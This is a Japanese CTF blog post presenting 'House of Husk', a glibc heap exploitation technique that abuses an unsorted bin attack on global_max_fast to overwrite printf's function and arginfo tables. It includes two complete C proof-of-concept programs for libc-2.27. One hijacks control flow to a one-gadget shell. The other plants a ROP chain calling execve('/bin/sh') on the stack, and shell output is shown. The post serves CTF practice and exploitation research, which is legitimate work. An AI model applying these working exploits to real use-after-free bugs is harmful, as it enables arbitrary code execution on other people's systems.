CTFするぞ

CTF以外のことも書くよ

House of Husk (仮)

はじめに

ヒープ大嫌いなのですが、多分まだ誰も公開していないヒープ系exploit手法を思いついたので書きます。 調べても出てこなかったので既出じゃないと信じて「House of Husk」と名前を付けました。 これ系に命名規則があるのか不明だし名前も思いつかないのでさっき見ていたアニメのキャラクターから取りました。

巨大なチャンクがmallocできてUAFがあるとき、従来よりも単純でmallocやfreeの回数を抑えてシェルを取れる手法です。

PoC:

github.com

English version:

ptr-yudai.hatenablog.com

House of Husk

原理

攻撃手法について説明する前に、原理を説明します。

register_printf_function

libcにはregister_printf_functionという関数が存在します。 これは名前の通り、printfで使える書式文字列を登録する関数です。 この関数は__register_printf_specifierを呼び、__register_printf_specifierは初回呼び出し時に次のようにして__printf_function_tableを確保します。

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
        calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
        {
          result = -1;
          goto out;
        }
      __printf_function_table = (printf_function **)
        (__printf_arginfo_table + UCHAR_MAX + 1);
    }

一方、printfsprintf等の書式文字列を扱う関数は次のように__printf_function_tableが登録されていることを確認します。

  /* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
                        || __printf_modifier_table != NULL
                        || __printf_va_arg_table != NULL))
    goto do_positional;

登録されていない場合は、デフォルトの書式文字列のみが使える高速な処理が実装されたパスに行きます。 登録されている場合はprintf_positional関数が呼ばれます。 この関数では、__printf_function_table等に対応する書式文字列が含まれている場合、登録された関数を呼び出します。 ただし、引数の種別を調べるために先に__printf_arginfo_tableに登録された関数が呼び出されます。

相対的な書き換え

これはHouse of Corrosionでも説明しました。 unsorted bin attackを使ってglobal_max_fastを書き換えることで、巨大なチャンクが(仮想的に)fastbinに入ります。 House of HuskはHouse of Corrosionの原理1のみを使います。

Method 1

利用条件

fastbinが実装されていてunsorted bin attackが可能なバージョンならOKです。

  • unsorted binに入ったチャンクにUAFがある
  • 通常の(大きくて良い)mallocに加え、比較的大きなサイズで2回mallocできる(libc-2.27の場合0x9420と0x1850が1回ずつ必要)
    • ただし、heapのアドレスが分かる場合(多くの場合そう)はunsorted binサイズのmallocのみで攻撃可能
  • 書式文字列を使うprintfが呼び出せる(%?の形であれば存在しない書式文字列でも良い)

mallocやfree、UAFの回数などは場合によって条件は様々なのでPoCを見てください。

こんなときに便利

大きいサイズのmallocしかできない場合に役に立つと思います。 従来はglobal_max_fastを書き換えてmain_arenaをいじるなど割と面倒だった上、__malloc_hookの周辺でサイズチェックを通る適当なサイズのチャンクが必要だったのですが、House of Huskではサイズチェックを心配する必要がありません。 また、少ないステップでRIPを取れる上、手法が単純で理解しやすいのも利点だと思います。

Exploit

次の手順を踏むだけです。

  1. libc leakする
  2. unsorted bin attackでglobal_max_fastを大きくする
  3. 「相対的な書き換え」を使って__printf_function_tableを非NULLにする
  4. 「相対的な書き換え」を使って__printf_arginfo_tableを偽のarginfo tableにする
  5. 書式文字列を使うprintfを呼び出す

偽のarginfo tableには予め対応する書式文字列の場所に関数アドレスを用意しておきます。 すると、printfがprintf_positionalを呼び出すことで__printf_arginfo_tableが使われ、RIPを操作できます。

PoC

こんな感じ。

/**
 * House of Husk
 * This PoC is supposed to be run with libc-2.27
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); // make printf quiet

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* overwrite __printf_arginfo_table and __printf_function_table */
  free(a[1]);
  free(a[2]);

  /* ignite! */
  printf("%X", 0);
  
  return 0;
}

シェルが立ち上がります。

ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out 
libc @ 0x7ffff79e4000
$ whoami
ptr

Method 2

なんかもう一個思いついたけど記事を分ける程のものではなかったので。

利用条件

Husk's methodに比べprintfが不要になりますが、rwなUAFが複数回必要で、mallocやfreeの回数が増えます。

こんなときに便利

one gadgetが動かない場合、static linkのバイナリ、seccompが付いている、などで使えます。(要するにROPしたいとき。)

Exploit

次の手順を踏みます

  1. 必要に応じてlibc leak
  2. unsorted bin attackでglobal_max_fastを書き換える
  3. environに対応するサイズのチャンクをfree
  4. UAFでfdの下位1,2バイト程度を書き換え、偽のチャンクヘッダに向ける
  5. stackに残るデータなどを利用し、偽のチャンクヘッダをスタック上に用意
  6. environに対応するサイズで2回malloc
  7. 2回目のmallocがスタック上に確保されるので、必要ならcanary等を読み、Stack OverflowでROPする

なお、ROPが発動する際はenvironが壊れているので注意してください。

PoC

/**
 * House of Husk
 * This PoC is supposed to be run with libc-2.27.
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define ENVIRON          0x3ee098
#define LIBC_BINSH       0x1b3e9a
#define LIBC_POP_RDI     0x2155f
#define LIBC_POP_RSI     0x23e6a
#define LIBC_POP_RDX     0x1b96
#define LIBC_EXECVE      0xe4e30

unsigned long libc_base, addr_env, ofs_fake;
char *a[10];
int i;

int main (int argc, char **argv, char **envp)
{
  unsigned long fake_size;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL); // make printf quiet

  ofs_fake = (void*)envp - (void*)&fake_size; /* this is fixed */

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  a[2] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* leak environ */
  free(a[1]);
  addr_env = *(unsigned long*)a[1];
  printf("environ = 0x%lx\n", addr_env);
  *(unsigned long*)a[1] = addr_env - ofs_fake - 8;

  /* prepare fake size on stack*/
  fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1;
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));

  /* overwrite return address */
  a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  for(i = 0; i < 0x20; i++) {
    *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; /* ret sled */
  }
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++;
  getchar();

  return 0;
}

考察

いろいろ試した結果を記載します。

UAFがwrite onlyの場合

また今度考える。

one gadgetが使えない場合

使えない場合は観測していませんが、Method 1ではsystem関数を使うことはできなさそうです。 __printf_arginfo_tableを利用してRIPを取る場合は第一引数はlibc上で初期化されるローカル変数のアドレスになっています。 したがって、第一引数に任意の文字列を設定することはできません。

他の関数テーブルは?

libc-2.23などなら__printf_function_tableの代わりに_IO_2_1_stdout_などのvtableを同じ原理で書き換えても動くと思います。 ただ、最近のlibcにはvtable改竄検知が付いている場合があり、 サイズ的には _IO_2_1_stderr_.vtable_IO_2_1_stdout_.vtable__printf_arginfo_table < __printf_function_table という感じです。 _IO_2_1_stdin_main_arenaの前に存在するので使えません。

使用例

CTFとかやってて使う場面があったら追記します。

おわりに

これ思いついた後に「__printf_function_table pwn」で調べたら引っかかったので冷や汗をかきましたが、ほぼ関係なかったので安心しました。 malloc嫌い。

※[追記] 一部では既出だったようです :sob: